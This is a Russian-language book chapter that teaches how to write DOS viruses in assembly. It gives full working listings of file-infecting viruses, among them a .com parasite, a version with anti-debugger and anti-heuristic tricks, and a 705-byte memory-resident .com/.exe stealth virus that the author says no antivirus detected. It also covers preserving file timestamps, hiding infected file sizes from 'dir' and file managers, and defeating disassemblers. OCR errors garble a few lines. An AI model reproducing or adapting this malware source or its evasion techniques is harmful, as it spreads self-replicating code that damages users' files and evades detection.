Все попытки ускорения эпидемии могут оказаться бесполезными, если на найденных вирусом файлах стоит атрибут «только чтение». Его необходимо вначале сохранить, впрочем, как и остальные атрибуты, а затем снять, после чего заразить файл вирусом, а в конце перед передачей управления оригинальной программе восстановить все атрибуты.
Рассмотрим на примере сохранение и снятие атрибутов:
mov ax,4300h ; DOS-функция получения атрибутов
lea dx,[bp+new_dta+30] ; файла с именем, хранящимся по адресу
int 21h ; new_dta+30
push cx ; Непосредственно сохранение атрибутов файла в стеке
inc al ; Теперь эта функция преобразуется в функцию
xor cx,cx ; изменения атрибутов; с сх=0 это полное их снятие
int 21h
Теперь посмотрим, как восстанавливаются атрибуты файла:
mov ax,4301h ;
pop сх ; Вот собственно само восстановление атрибутов файла
lea dx,[bp+new_dta+30] ;
int 21h ;
Все здесь используемые функции были описаны в таблице (см. гл. 3).
Если пользователь заметит, что файл, который у него уже три года лежит нетронутым, вдруг изменил дату последнего изменения на сегодняшнее число, он ничего не заподозрит?
Из этих рассуждений следует: необходимо, чтобы дата после заражения осталась неизменной. Что для этого нужно? Сначала необходимо сохранить дату последнего изменения файла, затем его инфицировать и после этого восстановить старую дату.
Рассмотрим листинг:
mov ах,5700h ; DOS функция получения времени изменения файла
int 21h ;
push cx dx ; Собственно само сохранение даты и времени файла
А теперь после инфицирования восстановим старую дату и время:
mov ах,5701h ; DOS-функция изменения даты и времени файла
pop dx cx ; восстановление старой даты и времени
int 21h
Здесь необходимо отметить, что во время описания *.com и *.exe паразита были намеренно упущены некоторые детали. В *.com паразите необходимо, чтобы размер вируса + размер файла был не более 65535 байт (размер одного сегмента)9. Рассмотрим, как нужно модифицировать проверку на инфицированность, чобы она также проверяла и размер?
Взглянем на листинг:
mov ah,3fh ; Читаем из файла
lea dx,[bp+orig_bytes] ; Сохраняем оригинальный заголовок
mov cx,3 ; Читаем 3 файла
int 21h ;
mov ax,word ptr [bp+new_dta+26] ; Положим размер файла в ах
mov cx,word ptr [bp+orig_bytes+1] ; Jmp смещение
add cx,end_vir-st_vir+3 ; Преобразуем в размер файла без заголовка
push ax ; Положить ах в стек
add ax,end_vir-st_vir ; Добавим к размеру файла размер вируса
cmp ax,65535 ; Проверим, не больше ли это 1 сегмента
jnl no_infect ; Если больше, то не заражаем
pop ax ; Восстановим ах из стека
cmp ax, cx ; Сравним размеры
jnz infect ; Если файл не заражен, то заразим
no_infect:
В *.exe паразите необходимо проверять, чтобы при инфицировании наш вирус не трогал также оверлейные модули (*.exe модули, которые загружают в память не всю программу целиком, а только одну ее часть, и в процессе исполнения подгружаются остальные части с жесткого диска). И как же это реализовать? Необходимо, чтобы длина из заголовка *.exe файла совпадала с реальной длиной этого файла.
Взглянем на листинг:
mov ах,word ptr [bp+newDTA+26] ; Это реальная длина файла
mov bl,byte ptr [bp+buffer+02] ; В bx будет храниться длина файла
mov bh,byte ptr [bp+buffer+04] ; из заголовка (buffer)
cmp ax,bx ; Проверяем соответствие
je infect_exe ; Если это не оверлей, то заражаем его
Еще один вариант проверки на оверлейность *.exe файла:
cmp word ptr [bp+buffer+26],0
je infect_exe
Также при инфицировании DOS *.exe файлов их следует проверять, чтобы они не оказались Windows формата.
Вот листинг такой проверки:
cmp word ptr [bp+buffer+24],40h
jne infect_exe
Ну вот, это довольно простой и удобный способ.
Теперь все описанные выше приемы применим в деле на *.com паразите для наглядности. Но вы, наверное, уже поняли, что их использовать можно где угодно.
А теперь к листингу вируса:
;----------------------------------------------
.model tiny
.code
org 100h
start: db 0e9h, 00h, 00h ;
st_vir: call $+3
f_offset: pop bp ;
int 1h
sub bp, OFFSET f_offset ;
;
;
lea si,[bp+orig_bytes] ;
mov di,100h ;
push di ;
movsw
movsb
lea dx,[bp+new_dta] ;
mov ah,1ah
int 21h
mov ah,47h ;
xor dl,dl ; Сохранение текущей директории
lea si,[bp+curr_dir] ;
int 21h ;
f2:
mov ah,4eh ;
lea dx,[bp+file_m] ;
xor cx,cx ;
f_next: int 21h ;
jnc nexta ;
jmp next_dir
nexta:
mov ax,4300h ; Получение и сохранение атрибутов файла
lea dx,[bp+new_dta+30] ;
int 21h ;
push cx ;
inc al ; Снятие всех атрибутов перед
xor cx,cx ; инфицированием
int 21h ;
mov ax,3d02h ;
lea dx,[bp+new_dta+30] ;
int 21h ;
xchg ax,bx ;
mov ax,5700h ; Сохранение даты и времени файла
int 21h ;
push cx dx ;
mov ah,3fh ; Читаем из файла
lea dx,[bp+orig_bytes] ; Сохраняем оригинальный заголовок
mov cx,3 ; Читаем три файла
int 21h ;
mov ax,word ptr [bp+new_dta+26] ; Положим размер файла в ах
mov cx,word ptr [bp+orig_bytes+1] ; Jmp смещение
add cx,end_vir-st_vir+3 ; Преобразуем в размер файла без заголовка
push ax ; Положить ах в стек
add ax,end_vir-st_vir ; Добавим к размеру файла размер вируса
cmp ax,65535 ; Проверим, не больше ли это 1 сегмента
jnl no_infect ; Если больше, то не заражаем
pop ax ; восстановим ах из стека
cmp ax,cx ; Сравним размеры
jnz infect ; Если файл не заражен, то заразим
no_infect:
mov ax,5701h ; Восстановление времени и даты
pop dx cx ;
int 21h ;
mov ah,3eh ;
int 21h ;
mov ax,4301h ;
pop cx ; Восстановление настоящих атрибутов
lea dx,[bp+new_dta+30] ;
int 21h ;
mov ah,4fh ;
jmp short f_next ;
exit:
mov ah,3bh ; Переход в оригинальную директорию
lea dx,[bp+ret_dir] ;
int 21h ;
mov dx,80h ;
mov ah,1ah
int 21h
retn ;
infect:
mov ах,word ptr [bp+new_dta+26]
sub ах,З
mov word ptr [bp+jmp_offset],ax
mov ax,4200h
cwd
xor cx,cx
int 21h
mov ah,40h ;
int 1h
mov cx,3 ;
lea dx,[bp+header] ;
int 21h ;
mov ax,4202h
xor cx,cx
cwd
int 21h
mov ah,40h ;
int 1h
mov cx,end_vir-st_vir ;
lea dx,[bp+st_vir] ;
int 21h ;
mov ax,5701h ;
pop dx cx ; Восстановление оригинальных даты и времени
int 21h ;
mov ah,3eh ;
int 21h ;
pop cx ; Восстановление оригинальных атрибутов
mov ax,4301h ;
lea dx,[bp+new_dta+30] ;
int 21h ;
next_dir:
mov ah,3bh ; Переход на более высокую директорию
lea dx,[bp+dot_dot] ;
int 21h ;
jc exit
jmp f2
file_m db '*.com',0 ;
orig_bytes db 0cdh,20h,0 ;
dot_dot db '..',0 ; Директория, куда будет осуществляться
; переход
header db 0e9h ;
jmp_offset dw 0 ;
ret_dir db '\' ; Этот символ необходим для возврата в
; оригинальную директорию
end_vir equ $
curr_dir db 64 dup(?) ; Место под имя оригинальной директории
new_dta db 43 dup(?) ;
end start
;----------------------------------------------
Весь вирус был разобран ранее, поэтому комментировались только новые моменты. Это было сделано, чтобы вы посмотрели и сами разобрались в немного усложнившейся логике вируса.
Лечение усложненных вирусов ничем не усложнилось, так как метод инфицирования не изменился.
5.2. Усиление кода
Усиление кода является одним из первых защитных механизмов, до которого додумались разработчики вирусов. Что же это такое? Проще говоря, это последовательности инструкций, при выполнении которых отладчики и дизассемблеры работают с ошибками или вообще не работают. Итак, усиление кода — это инструкции, ориентированные на обман либо отладчика, либо дизассемблера.
Начнем с обмана отладчиков.
Одним из самых старых способов обмана отладчиков является вставить везде и побольше 1 и 3 прерываний (int 1h и int 3h): при выполнении программы под отладчиком она будет каждый раз прерываться при попадании на эти инструкции. Второй способ сродни первому — нужно аналогичным образом поставить команды hit. Эти два способа хоть и старые, но до сих пор действенные.
Третий способ — это работа со стеком: отладчик либо виснет, либо умирает при попытке исполнить такие команды10:
debugger_die:
not sp
not sp
Достаточно вставить этот кусочек кода в начало программы, и практически все отладчики при попытке исполнить его погибнут. Также можно использовать другие инструкции по работе со стеком (dec sp...). Это тоже даст нужный эффект.
Возможна подмена обработчиков 1 и 3 прерываний на обработчик-пустьшку. Рассмотрим этот способ на примере программы, которая при нормальной работе выводит одно сообщение, а при отладке другое.
Рассмотрим листинг:
;----------------------------------------------
cseg segment
org 100h
assume cs:cseg,ds:cseg.es;cseg
start:
mov ax, 2503h ;
mov dx, offset int_start ; Ставим новый обработчик на 3 прерывание
int 21h ;
mov dx,OFFSET normal ;
mov ah,09h ; Вывод сообщения при нормальной работе
int 21h ; программы
int 20h ; Завершение работы программы
int_start: ; Это наш обработчик 3 прерывания
mov ah, 9 ;
mov dx, offset debug ; Выскажем нашу любовь отладчику и завершим
int 21h ; работу
int 20h ;
slOn db "Hello People$"
debug db "Fuck you debugger$"
cseg ends
end start
;----------------------------------------------
Третье прерывание — это прерывание отладчика. Как только начнется трассировка программы. Уже после подмены обработчика будет выведено наше сообщение, и работа программы будет прекращена. И это будет причиной того, что наш вирус не смогут отладить. Вообще говоря, следовало бы сохранить адрес 3-го прерывания и в конце программы восстановить оригинальный обработчик.
Еще один старый, но очень действенный способ — это выключать клавиатуру. Взглянем на листинг:
mov al,0adh ; После этих инструкций кнопки не работают
out 64h,al ;
Существует еще множество других способов обмануть отладчик, и я вам советую придумывать свои.
Теперь мы знаем, как обмануть отладчик, но от этих наших умений не будет пользы, если кто-нибудь дизассемблирует наш вирус. И как бы мы ни изощрялись с обманом отладчиков, следует также помнить о дизассемблере.
Сейчас мы рассмотрим способы обмана дизассемблера. Основным методом обмана дизассемблеров является перекрывающийся код.
Для лучшего понимания будем рассматривать все на примерах:
cseg segment
org 100h
assume cs:cseg,ds:cseg,es:cseg
start:
;---[anti disasm trick, work on sourcer 7.0]---
mov ax,02ebh ; !!!!!!!
jmp $-2 ; !!!!!!!
;----------------------------------------------
mov ax,0900h
lea dx,hello
int 21h
int 20h
hello db 'hello$'
cseg ends
end start
;----------------------------------------------
Что же делает выделенная восклицательными знаками часть кода?
- В ах помещается значение 02ebh (это опкод комманды jmp $+2).
- jmp $-2, переходит на значение 02ebh.
- jmp $+2, переходит на mov ax,0900h.
Таким образом, можно строить сколь угодно сложный перекрывающийся код. Еще в перекрывающемся коде есть один большой плюс — с его помощью можно прятать неприятные для антивирусов инструкции.
Также методом защиты от дизассемблера является полное шифрование кода или данных.
Теперь, когда мы умеем прятаться от отладчика и дизассемблера, применим эти навыки на *.com паразите.
Перейдем к листингу:
;----------------------------------------------
.model tiny
.code
org 100h
start: db 0e9h,00h,00h ; Переход на начало вируса (st_vir)
st_vir: call $+3
f_offset: pop bp
int 1h ; Антиэвристика
mov ax,02ebh ; Смерть дизассемблеру
jmp $-2 ; IDA и Sourcer капитулировали
sub bp, OFFSET f_offset ; Считаем смещение,
; с которого начинается вирусный код
not sp ; Прощаемся с отладчиками
not sp ;
lea si,[bp+orig_bytes] ; Восстанавливаем оригинальные 3 байта
mov di,100h ; Положим в стек переход на
push di ; начало программы
movsw
movsb
lea dx,[bp+new_dta] ; Установим DTA
mov ah,1ah
int 21h
mov ah,09h ; Выведем сообщение
lea dx,[bp+msg] ;
int 21h
mov ah,4eh ; DOS функция findfirst
lea dx,[bp+file_m] ; Ищем *.com файл (любой)
xor cx,cx ;
f_next: int 21h ;
jc exit ; если ошибка или файлы закончились,
; то на выход
mov ax,3d00h ; Откроем найденный файл на чтение
lea dx,[bp+new_dta+30] ;
int 21h ;
xchg ax,bx ; Положим хэндл в bx
mov ah,3fh ; Прочитаем из файла
lea dx,[bp+orig_bytes] ; оригинальный заголовок,
mov cx,3 ; а если быть более точным, то 3 байта
int 21h ;
cmp word ptr[bp+orig_bytes],'MZ' ; Если это *.exe переименованный
je close ; в *.com, то переходим к следующему
cmp word ptr[bp+orig_bytes],'ZM' ; файлу
je close ;
mov ах,word ptr [bp+new_dta+26] ; Положим размер файла в ах
mov cx,word ptr [bp+orig_bytes+1] ;
add cx,end_vir-st_vir+3 ; Добавим размер вируса
cmp ax,cx ; Если длины совпадают, то файл
jnz infect ; заражен. Если нет, сейчас заразим
close: mov ah,3eh ; Закрываем файл
int 21h ;
mov ah,4fh ; и ищем новый
jmp short f_next ;
exit: mov dx,80h ; Восстанавливаем старый DTA
mov ah,1ah
int 21h
retn ; Переходим на начало программы
; 100h было ведь в стеке
infect:
mov ах,word ptr [bp+new_dta+26] ; Положим размер файла в ах
sub ах,3 ; Отнимем 3 и получим смещение для
mov word ptr [bp+jmp_offset],ax ; перехода на тело вируса
mov ah,3eh ;
int 21h ; Закроем файл
mov ax,3d02h ; Откроем на чтение/запись
int 21h ;
xchg ax,bx ; Положим хэндл в bx
mov ah,40h ; Запишем в файл
int 1h ; Антиэвристика
mov cx,3 ; 3 байта
lea dx,[bp+header] ; Это переход на тело вируса, которое
int 21h ; будет дописано к файлу
mov ax,4202h ; Перейдем на конец файла
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; Допишем тело вируса
int 1h ; Антиэвристика
mov cx,end_vir-st_vir ;
lea dx,[bp+st_vir] ;
int 21h ;
mov ah,3eh ; Закроем файл
int 21h ;
jmp exit ; и передадим управление оригинальной
; программе
msg db "[Par4s1tic ChuM4 v 1.0 by sl0n],0ah,0dh","$" ; Сообщение
file_m db '*.com',0 ; маска файла для поиска
orig_bytes db 0cdh,20h,0 ; байты оригинального заголовка
header db 0e9h ; переход на вирус
end_vir equ $ ; символ конца вируса
jmp_offset dw ? ; переменная для смещения на вирус
new_dta db 43 dup(?) ; массив для DTA
end start
;----------------------------------------------
Ну вот, после таких модификаций нашего вируса его будет не так уж просто найти и вылечить.
При лечении данного файла усложняется анализ вируса и поиск оригинальных байт. А сам принцип лечения не меняется.
5.3. Стелс-механизмы
Начнем рассмотрение вирусных стелс-механизмов. Самым первым вирусным стелс-механизмом был перехват 24 прерывания и подмена его обработчика вирусным. Это было необходмо, потому как, если вирус хотел заразить файл на защищенной от записи дискете, выдавалось сообщение об ошибке. Ни один хороший вирус был пойман на этой ошибке, и чтобы вирусы не повторили их судьбу, необходимо, как уже говорилось выше, ставить свой обработчик на 24 прерывание. При попытке записи на защищенную дискету DOS покорно промолчит.
Принцип перехвата прерывания остается таким же, как и в части о резидентных вирусах, но здесь обработчик будет очень простой.
Рассмотрим листинг перехвата 24 прерывания:
mov ах,3524h
int 21h
mov word ptr [oldint24], bx
mov word ptr [oldint24+2],es
mov ah,25h
lea dx,[bp+int24]
int 21h
push cs
pop es
Все довольно тривиально и было обсуждено в разделе о резидентных вирусах.
Теперь рассмотрим сам вирусный обработчик 24 прерывания:
int24:
mov al,3
iret
Ну, а здесь вообще две команды, предназначенные для главной цели — погашения сообщения об ошибке записи. И нужно не забыть перед передачей управления оригинальной программе восстановить оригинальный обработчик 24 прерывания:
mov ах,2524h
lea dx,[bp+oldint24]
int 21h
push cs
pop ds
Данный маскировочный прием может использоваться как в резидентных, так и в обычных вирусах.
Следующим шагом в стелс-механизмах стал неполный стелс-механизм. Он может применяться только в резидентных вирусах и основан на том же принципе, что и инфицирование программ резидентными вирусами. То есть, находясь в памяти он отлавливает обращения DOSa к инфицированному файлу и подменяет настоящий размер на настоящий размер минус длина вируса. В итоге рост длины не заметен, но если взглянуть каким-нибудь редактором, то вирус будет виден.
Рассмотрим алгоритм работы неполного стелс механизма.
- Посадка в память вируса.
- Отлавливание прерываний 11h/12h, 4eh/4fh. Отлов 11h/l2h необходим для обмана DOS команды dir. Отлов 4eh/4fh необходим для обмана таких программ как NC.
- Если отловлено 11h/12h, то один вирусный обработчик, уменьшающий длину инфицированного файла на размер вируса, подменяет длину.
- Если отловлено 4eh/4fh, то другой вирусный обработчик, уменьшающий длину инфицированного файла на размер вируса, подменяет длину.
Рассмотрим подробно п. 2, 3 и 4 маскировочного механизма, так как п. 1 достаточно подробно изложен в части, посвященной резидентным вирусам.
И так рассмотрим второй шаг алгоритма. По сути, он очень прост и не отличается от вирусного обработчика 21 прерывания, занимающегося инфицированием файлов. Если быть более конкретным, то это всего лишь надстройка к нему.
Взглянем на листинг:
new_int21h:
cmp ah,99h ; Проверка на присутствие в памяти
jne continue
mov bh,99h
iret
continue:
cmp ah,4bh ; Запускается программа или нет?
jne check_dir
jmp infect ; Будем заражать
check_dir:
cmp ah,11h ; Есть вызов dir?
je hide_dir ; Тогда маскируемся
cmp ah,12h ; Есть вызов dir?
je hide_dir ; Тогда маскируемся
cmp ah,4eh ; Или нас зовет NC?
je hide_dir2 ; Прячемся от NC.
cmp ah,4fh ; Или нас зовет NC?
je hide_dir2 ; Прячемся от NC
jmp do_oldint21h ; Вернем управление оригинальному обрабочику
Тут тоже все просто: если вы разобрались с резидентными вирусами, то все должны понимать, а если не разобрались, прочитайте еще раз.
Теперь третий шаг нашего алгоритма маскировки. В этой части мы должны обмануть DOS ровно на длину вирусного тела, чтобы при вызове DOS-команды «dir» выводилась поддельная длина, как будто этот файл и не заражен вовсе.
Рассмотрим листинг:
hide_dir:
pushf ; Положим в стек флаги
push cs ; и cs
call do_oldint21h ; Теперь вызовем оригинальное 21
or al,al ; Вызов был удачным?
jnz skip_dir ; Нет, маскировка отменяется
push ax bx es ; Сохраняем используемые регистры
mov ah,62h ; Получим текущий PSP
int 21h
mov es,bx
cmp bx,es:[16h] ; PSP в порядке?
jnz bad_psp ; Если нет, то на выход
mov bx,dx
mov al,[bx]
push ax ; расширенный FCB
mov ah,2fh ; получим DTA
int 21h
pop ax
inc al ; Это расширенный FCB?
jnz no_ext
add bx,7 ; Если да, то добавим 7
no_ext:
mov al,byte ptr es:[bx+17h] ; Взглянем на наши секунды
and al,1fh
xor al,1dh ; Файл заражен?
jnz no_stealth ; Если нет, то размер не изменяем
cmp word ptr es: [bx+1dh],vir_size ; Если размер меньше, чем размер вируса, то он не
ja hide_it ; мог быть заражен. Значит, не маскируем
cmp word ptr es:[bx+1fh],0 ;
je no_stealth ;
hide_it:
sub word ptr es:[bx+1dh],vir_size ; Подменяем размер файла
sbb word ptr es:[bx+1fh],0
no_stealth:
bad_psp:
pop es bx ax ; Восстанавливаем регистры
skip_dir:
iret ; Возвращаем управление
Теперь рассмотрим четвертый шаг нашего стелс-механизма. По сути, прятаться от таких программ, как NC, даже проще, чем обманывать DOS.
Рассмотрим листинг:
hide_dir2:
pushf ; Положим в стек флаги
push cs ; и cs
call do_oldint21h ; Теперь вызовем оригинальное 21 прерывание
jc eofs ; Если файлов больше нет, то на выход
push ax es bx ; Сохраним регистры
mov ah,2fh ; Получим DTA
int 21h
mov ax, es:[bx+16h]
and ax, 1fh ; PSP в порядке?
xor al,29
jnz not_inf ; Если нет, на выход
cmp word ptr es:[bx+1ah],vir_size ; Файлы меньше длины вируса - не трогаем
ja sub_it
cmp word ptr es:[bx+1ch],0
je not_inf
sub_it:
sub word ptr es:[bx+1ah],vir_size ; Исправляем длину файла
sbb word ptr es:[bx+lch],0
not_inf:
pop bx es ax ; Восстанавливаем регистры
eofs:
retf 2 ; Возвращаем управление
Дальше, после неполного стелс-механизма появился полный стелс-механизм. Как и неполный, он использовался только в резидентных вирусах. Смысл его работы примерно такой же, как и у его предшественника:
- при открытии файла вирус получает управление;
- проверяет, инфицирован он или нет;
- если инфицирован, то вылечивает его (правит заголовок и удаляет тело вируса);
- возвращает управление программе;
- при закрытии файла снова его заражает.
Данный механизм используется в совокупности с неполным стелс-механизмом. Этим достигается полная невидимость вируса по отношению к пользователю. Но при использовании полного стелсирования в вирусе находится алгоритм его лечения, что крайне нежелательно делать. Поэтому я рекомендую использовать два первых метода.
Но я считаю также, что стоит взглянуть на пример вирусного обработчика при полном стеле-механизме.
Рассмотрим листинг:
new_int21h:
cmp ah,99h ; Проверка на присутствие в памяти
jne continue
mov bh,99h
iret
continue:
cmp ah,4bh ; Запускается программа или нет?
jne check_dir
jmp infect ; Будем заражать
check_dir:
cmp ah,11h ; Есть вызов dir?
je hide_dir ; Тогда маскируемся
cmp ah,12h ; Есть вызов dir?
je hide_dir ; Тогда маскируемся
cmp ah,4eh ; Или нас зовет NC?
je hide_dir2 ; Прячемся от NC
cmp ah,4fh ; Или нас зовет NC?
je hide_dir2 ; Прячемся от NC
cmp ah,03dh ; !!!!!!!!!!!!
jne next_test ; !!!!!!!!!!!!
jmp full_stealth ; !!!!!!!!!!!!
next_test: ; !!!!!!!!!!!!
cmp ah,03eh ; !!!!!!!!!!!!
jne ending ; !!!!!!!!!!!!
jmp infect_on_close ; !!!!!!!!!!!!
ending: ; !!!!!!!!!!!!
jmp do_oldint21h ; Вернем управление оригинальному обрабочику
Восклицательными знаками отмечено место в вирусном обработчике 21 прерывания, которое отличает полустелс-вирус от полного. Это реагирование на
открытие файла и соответственно лечение файла, если он инфицирован, а также заражение этого файла, когда работа с ним закончена.
Теперь мы реализуем первые два неполных стелс-механизма в резидентном паразите комбинированного типа (*.com + *.exe) для примера.
Перейдем к листингу:
;----------------------------------------------
cseg segment byte public "code"
assume cs:cseg, ds: cseg
org 100h
start_of_virus:
call get_delta
get_delta: ; Получим дельта-смещение
pop bp
sub bp, offset get_delta
install_code:
mov ax,es ; Восстановим регистры
add ах, 10h
add word ptr cs:[bp+EXEret+2],ax
add word ptr cs:[bp+EXEstack],ax
push es
mov ah,99h ; Проверка на присутствие в памяти
int 21h
cmp bh,99h
je already_resident
mov ah,4ah ; Получение количества параграфов
mov bx,0ffffh
int 21h
sub bx,(vir_size+15)/16+1 ; Отнимем размер вируса в параграфах
mov ah,4ah
int 21h
mov ah,48h ; Резервируем память для вируса
mov bx,(vir_size+15)/16
int 21h
jc already_resident ; Если ошибка, то на выход
dec ax ; ах-1 = MCB
mov es, ax
mov word ptr es:[1],8 ; Владелец DOS
push ax ; Положим ах в стек
mov ах,3521h ; Получим вектор 21 прерывания
find:
db 068h ; Антиэвристический механизм
dw OFFSET @avp
ret ; AVP нас не найдет
pop ax
@avp:
int 21h
mov word ptr ds:[0ldlnt21h],bx
mov word ptr ds:[0ldlnt21h+2],es
pop ax ; ax = MCB для выделения памяти
push cs
pop ds
cld ; cld для movsw
sub ax,0fh ; es:[100h] = начало выделенной памяти
mov es,ax
mov di,100h
lea si,[bp+offset start_of_virus]
mov cx,(vir_size+1)/2 ; Переносим вирус в память
rep movsw
push es
pop ds
mov dx,offset new_int21h ; Ставим свой обработчик 21 прерывания
mov ax,2521h
int 21h
mov ax,3524h ; Получим вектор 21 прерывания
int 21h
mov word ptr ds:[old24],bx
mov word ptr ds: [old24+2],es
mov dx,offset new24 ; Установим свой обработчик 24 прерывания
mov ah,25h ; чтобы не было ошибок при записи на защищенную дискету
int 21h
already_resident:
push cs cs
pop es ds
cmp byte ptr [bp+COMflag],1 ; Проверим, откуда стартуем *.com или *.exe
jne exit_EXE
exit_C0M: ; Возвращаем управление оригинальной программе
mov di,100h
lea si,[bp+COMret]
mov cx,3
rep movsb ; Восстанавливаем первые 3 байта
pop es ; И передаем управление
mov ax,100h
jmp ax
exit_EXE: ; Выход, если стартовали из *.exe файла
pop es
mov ax,es ; Восстановим сегментные регистры и ss:sp
mov ds,ax
cli
mov ss,word ptr cs:[bp+EXEstack]
mov sp,word ptr cs:[bp+EXEstack+2]
sti
db 0eah ; Передаем управление программе
EXEret db 0,0,0,0
EXEstack dd 0
;--------Новый обработчик 24 прерывания--------
new24
mov al,3 ; Наш обработчик 24 прерывания
iret
;----------------------------------------------
; Новый обработчик 21 прерывания
;----------------------------------------------
new_int21h:
cmp ah,99h ; Ответ на проверку присутствия в памяти
jne continue
mov bh,99h
iret
continue:
cmp ah,4bh ; Если программа запущена, будем заражать
jne check_dir
jmp infect
check_dir:
cmp ah, 11h ; Если вызов "dir", то маскируемся
je hide_dir
cmp ah, 12h
je hide_dir
cmp ah,4eh ; Если вызов NC - 4eh, 4fh, прячемся по-другому
je hide_dir2
cmp ah,4fh
je hide_dir2
jmp do_oldint21h ; Если какая-то другая функция DOS, то пусть работает
; оригинальный обработчик
;----------------------------------------------
; Функция неполного стелс-механизма
;----------------------------------------------
hide_dir: ;
pushf ; Положим в стек флаги
push cs ; и cs
call do_oldint21h ; Теперь вызовем оригинальное 21 прерывание
or al,al ; Вызов был удачным?
jnz skip_dir ; Нет, маскировка отменяется
push ax bx es ; Сохраняем используемые регистры
mov ah,62h ; Получим текущий PSP
int 21h
mov es, bx
cmp bx,es:[16h] ; PSP в порядке?
jnz bad_psp ; Если нет, то на выход
mov bx,dx
mov al,[bx] ;
push ax ; расширенный FCB
mov ah,2fh ; получим DTA
int 21h
pop ax
inc al ; Это расширенный FCB?
jnz no_ext
add bx,7 ; Если да, то добавим 7
no_ext:
mov al,byte ptr es:[bx+17h] ; Взглянем на наши секунды
and al,1fh
xor al,1dh ; Файл заражен?
jnz no_stealth ; Если нет, то размер не изменяем
cmp word ptr es:[bx+1dh],vir_size ; Если размер меньше, чем размер вируса, то он не
ja hide_it ; мог быть заражен, значит, не маскируем
cmp word ptr es:[bx+1fh],0 ;
je no_stealth ;
hide_it:
sub word ptr es:[bx+1dh],vir_size ; Подменяем размер файла
sbb word ptr es:[bx+lfh],0
no_stealth:
bad_psp:
pop es bx ax ; Восстанавливаем регистры
skip_dir:
iret ; возвращаем управление
hide_dir2:
pushf ; Положим в стек флаги
push cs ; и cs
call do_oldint21h ; Теперь вызовем оригинальное 21 прерывание
jc eofs ; Если нет больше файлов, то на выход
push ax es bx ; Сохраним регистры
mov ah,2fh ; Получим DTA
int 21h
mov ax,es:[bx+16h]
and ax,1fh ; PSP в порядке?
xor al,29
jnz not_inf ; Если нет - на выход
cmp word ptr es:[bx+1ah],vir_size ; Файлы меньше длины вируса - не трогаем
ja sub_it
cmp word ptr es:[bx+1ch],0
je not_inf
sub_it:
sub word ptr es:[bx+1ah],vir_size ; Исправляем длину файла
sbb word ptr es:[bx+1ch],0
not_inf:
pop bx es ax ; Восстанавливаем регистры
eofs:
retf 2 ; Возвращаем управление
;----------------------------------------------
; Определение имени файла для открытого хэндла
;----------------------------------------------
check_name:
push bx
mov ax,1220h
int 2fh
mov ax,1216h ; Получение SFT (system file table)
mov bl,byte ptr es:[di] ; Дли хэндла в bx
int 2fh
pop bx
add di,20h ; es:di+20h указывает на имя файла
ret ; Возврат
;----------------------------------------------
; Процедура инфицирования
;----------------------------------------------
infect:
push es bp ax bx cx si di ds dx
mov ax,3d02h ; Откроем файл
int 21h
xchg ax,bx
push cs
push cs
pop ds
pop es
mov ax,5700h ; Сохраним и проверим время/дату файла
int 21h ; Признак инфицирования
push dx
push cx
and cl, 1fh
xor cl, 1dh
jne read_it
jmp skip_infect
read_it:
mov ah,3fh ; Читаем первые 18h байт
mov cx,18h
mov dx,offset EXEheader ; В EXEheader
int 21h
mov byte ptr COMflag,0 ; Проверим *.exe или *.com и уст. флаг - COMflag
cmp word ptr EXEheader,'ZM'
je is_EXE
cmp word ptr EXEheader,'MZ'
je is_EXE
mov byte ptr COMflag,1
is_EXE:
mov ax,4202h ; Идем в конец файла
xor сх,сх
cwd
int 21h
push ax
push es
call check_name
cmp COMflag,1 ; Если это *.com, то переходим к его заражению
je infect_COM
infect_EXE:
pop es
mov di,offset EXEret ; EXEret = IP/CS
mov si,offset EXEheader+14h
mov cx,2
rep movsw
mov si,offset EXEheader+0eh ; EXEstack = SS/SP
mov cx, 2
rep movsw
pop ax ; Восстановим ax
mov cx,10h
div cx
sub ax,word ptr [EXEheader+8h]
mov word ptr [EXEheader+14h],dx ; Вычислим CS:IP
mov word ptr [EXEheader+16h],ax
add ax,100
mov word ptr [EXEheader+0eh],ax ; SS:SP
mov word ptr [EXEheader+10h],100h
jmp short more_infection
infect_COM:
cmp word ptr es: [di], '0C' ; He заражаем command.com
pop es
pop ax
jne no_command_com
jmp skip_infect
no_command_com:
mov di,offset COMret ; Отправим первые 3 байта в COMret
mov si,offset EXEheader
mov cx,3
rep movsb
sub ax, 3 ; Отнимем 3 от длины файла (размер JMP)
mov byte ptr [EXEheader],0e9h ; И построим начальный JMP
mov word ptr [EXEheader+1],ax
more_infection:
mov ah,40h ; Пишем в файл
mov cx,vir_size
nov dx,offset start_of_virus
int 21h
push cs
pop ds
cmp byte ptr COMflag,0 ; Если это *.com, то пропускаем следующую часть
jne goto_start
mov ax,4202h ; Идем в конец файла
xor cx, cx
cwd
int 21h
mov cx,512 ; Пересчитываем новую длину файла в 512-
div cx ; байтных страницах
inc ax
mov word ptr [EXEheader+2],dx
mov word ptr [EXEheader+4],ax
goto_start:
mov ax,4200h ; идем в начало файла
xor cx,cx
cwd
int 21h
cmp byte ptr [COMflag],1 ; Если *.com, то пишем первые 3 байта
je write_3
mov cx,18h ; Иначе пишем весь *.exe заголовок
jmp short write_18h
write_3:
mov cx,3
write_18h:
mov dx,offset EXEheader
mov ah,40h
int 21h
skip_infect: ; Отмечаем время и дату и метим файл как
; инфицированный
mov ах, 5701h
pop сх
pop dx
or cl,00011101b
and cl,11111101b
int 21h
mov ah,3eh
int 21h
pop dx
pop ds
pop di si cx bx ax bp es
Oldint21h: ; Возвращение управления оригинальному обработчику 21
db 0eah ; прерывания
OldInt21h dd 0
COMflag db 1
COMret db 0cdh,20h,00h
vir_size equ 705
old24 dd 0
EXEheader db 18h dup(0)
end_of_virus:
cseg ends
end start_of_virus
;----------------------------------------------
Данный вирус имеет размер 705 байт и на момент написания книги никакими антивирусами не обнаруживался.
Стоить заметить, что при посадке в память мы использовали функции DOS, а не прямой метод. На этом мы и закончим обсуждение стелс-вирусов.
Необходимо заметить, что лечение остается таким же, как и в варианте с обыкновенным комбо-паразитом. Но оно будет неэффективным, если не загрузиться с чистой DOS-дискеты.
5.4. Антиэвристические приемы
